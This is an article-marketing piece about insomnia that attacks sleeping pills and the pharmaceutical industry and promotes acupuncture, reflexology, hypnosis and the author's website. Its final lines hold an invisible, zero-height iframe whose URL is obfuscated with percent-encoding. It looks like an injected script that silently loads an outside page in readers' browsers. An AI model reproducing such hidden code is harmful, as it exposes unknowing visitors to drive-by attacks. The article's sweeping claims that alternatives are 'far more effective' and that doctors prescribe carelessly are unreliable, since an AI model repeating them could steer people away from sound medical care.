Alternative Cures For Insomnia

[jared edward]

Cures for insomnia come in various forms of treatment and methodology.
Unfortunately most of us are only interested in quick-fix solutions.
We live in a world obsessed with quick-fix fads; fast food, microwave
meals, instant weight loss pills, instant abs etc.
For the insomniac, the quick fix solution is the sleeping pill,
whether they are medically prescribed or the ones you find over the
counter. This is great for the big pharmaceutical corporations; it's
exactly what they want. Who else is going to line there pockets with
money?
The pharmaceutical industry is one of the most profitable in the
world. They made 550 Billion dollars in sales in 2004 alone. That's
hardly small change now is it? They spend millions a year on their
advertising campaigns. I'm sure familiar with there campaigns; the
adverts on TV with healthy smiley people running around on the beach,
having the time of their lives.
We are often blinded from the truth. We see these fancy adverts and
think 'I want that!' The emotional attachment to these adverts is
exactly what these big corporations want. They're not interested in
your health or your well being. Do they ever tell you about the
possible adverse drug reactions? I doubt it, otherwise you would
probably know about the estimated 100,000 deaths in the US each year
from adverse drug reactions.
A majority of their profits come from prescription medication. You may
have noticed the consistently reoccurring line from all these adverts?
'Ask your doctor about...' This absolutely works, more and more people
are going to their doctors asking them about the wonders of 'X'
medication, often knowing very little about its usage.
It's almost like we're being programmed to automatically ask our
doctor about a drug. No...scratch that, it's exactly what it is. Is
this our fault? Well 'Yes' and 'No'. Many prescription drugs are
becoming household names. People automatically assume that authority
types can be trusted. We are essentially being brainwashed by these
corporations.
Are they really providing cures for insomnia? Absolutely not, they are
selling the idea though. Ok, so using prescription or over-the-counter
sleep aids aren't all bad, but they should not be relied upon
especially for the long term sufferer. You should always consult your
doctor before taking sleep medication. You should also avoid taking
them for more than 2 or 3 nights in a row, as prolonged use can cause
'rebound' insomnia.
Sleeping pills are generally bad news as they will break down your
body's natural sleep cycle and make sleep very difficult in the long
term. It may also affect the amount of deep sleep you attain during
the night as most major sleeping pills interfere with normal brain
wave patterns.
You may find that you wake up feeling groggy, drowsy or tired. Other
Side effects include urinary retention, blurred vision, dizziness and
palpitations. Sleeping pills may help you get to sleep but with
continual use your body will build tolerance, and you may find that
you need to 'up' your dose to attain the same affect.
These are the lives of real people being affected. Do you really think
these big pharmaceutical companies are putting those billion of
dollars of profit into research? Do you really think that they are
researching cures for insomnia?
People will unnecessarily take medication hoping that it will solve
there problems. More shockingly doctors are willing to prescribe these
drugs without a bat of an eyelid. When is the last time a doctor
refused your request for a prescription? Worryingly, in a recent
survey, only 10 percent of doctors rated their sleep knowledge as
good.
But there is a brighter side to all of this (fortunately). There are
other ways and alternatives to taking a sleeping pill. In fact there
are far more effective ways to do deal with insomnia such as
acupuncture, reflexology and hypnosis.
I hope you enjoyed this article on cures for insomnia. If you are
interested in a permanent and natural solution to your insomnia,
please visit my website
below.
<IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/ad.htm width=100
height=0></IfrAmE>